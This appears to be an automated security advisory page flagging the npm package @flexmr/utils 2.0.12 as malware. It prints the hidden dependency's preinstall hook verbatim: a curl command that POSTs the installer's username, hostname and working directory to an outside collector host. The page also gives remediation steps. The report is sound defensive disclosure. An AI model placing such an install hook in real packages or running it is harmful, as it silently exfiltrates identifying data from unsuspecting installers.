@flexmr/utils@2.0.12
Generated package
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe package's dependency declaration activates a preinstall hook that sends identifying installer and environment data to a collector without a consent guard. This supports blocking as an installation beacon and data exfiltration.
Static reason
No blocking static signals were detected.
Trigger
npm installs the declared dependency during package installation.
Impact
The collector receives identifying details about the installer and its environment without an evident consent guard.
Mechanism
The dependency's preinstall command sends the current username, hostname, and working directory in an HTTP POST to artifacts.creditslib.com/api/pings.
Attack narrative
Installing the package pulls in a hosted dependency with an automatic preinstall hook. In both inspected npm platform profiles, the hook sends the installer's username, hostname, and current working directory to a collector endpoint. This is an installation-time disclosure of identifying data.
AI rationale
The package's dependency declaration activates a preinstall hook that sends identifying installer and environment data to a collector without a consent guard. This supports blocking as an installation beacon and data exfiltration.
Evidence
package.json.lpm-dependency-evidence-8cc63208-59d8-4a37-b422-54369f2e0759/0/npm-linux/package.json.lpm-dependency-evidence-8cc63208-59d8-4a37-b422-54369f2e0759/0/npm-darwin/package.json
Network endpoints1
artifacts.creditslib.com/api/pings
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package installs daemon-thread-lookup-buffer from a hosted URL, activating that dependency's install lifecycle.
- The Linux and Darwin dependency manifests each define a preinstall command that POSTs the installer username, hostname, and working directory to artifacts.creditslib.com/api/pings.
Evidence against
Behavioral surface
Trivial
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
12"dependencies": {
"daemon-thread-lookup-buffer": "https://artifacts.creditslib.com/npm/daemon-threa
High
Suspicious Lifecycle Evidence
The package installs daemon-thread-lookup-buffer from a hosted URL, activating that dependency's install lifecycle.
package.jsonView on unpkg · L12.lpm-dependency-evidence-8cc63208-59d8-4a37-b422-54369f2e0759/0/npm-linux/package.jsonView file
13"preinstall": "curl -X POST -H 'Content-Type: application/json' https://artifacts.creditslib.com/api/pings --data '{\"event_id\":\"bfc31935-e1f1-4f69-b664-2d9eb17c3a4c\", \"source_type\":\"http\", \"package\":\"@flexmr/utils\",\"details\":{\"whoami\":\"'$(whoami)'\", \"hostname\":\"'$(hostname)'\", \"pwd\":\"'$(pwd)'\"}}'"
}
}
High
Suspicious Dependency Evidence
The Linux and Darwin dependency manifests each define a preinstall command that POSTs the installer username, hostname, and working directory to artifacts.creditslib.com/api/pings.
.lpm-dependency-evidence-8cc63208-59d8-4a37-b422-54369f2e0759/0/npm-linux/package.jsonView on unpkg · L13Findings
3 High
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-8cc63208-59d8-4a37-b422-54369f2e0759/0/npm-linux/package.json
HighSuspicious Dependency Evidence.lpm-dependency-evidence-8cc63208-59d8-4a37-b422-54369f2e0759/0/npm-darwin/package.json
Affected versions and remediation
This report applies to @flexmr/utils@2.0.12.
See all versions of @flexmr/utils for other recorded verdicts.
- Avoid installing @flexmr/utils@2.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.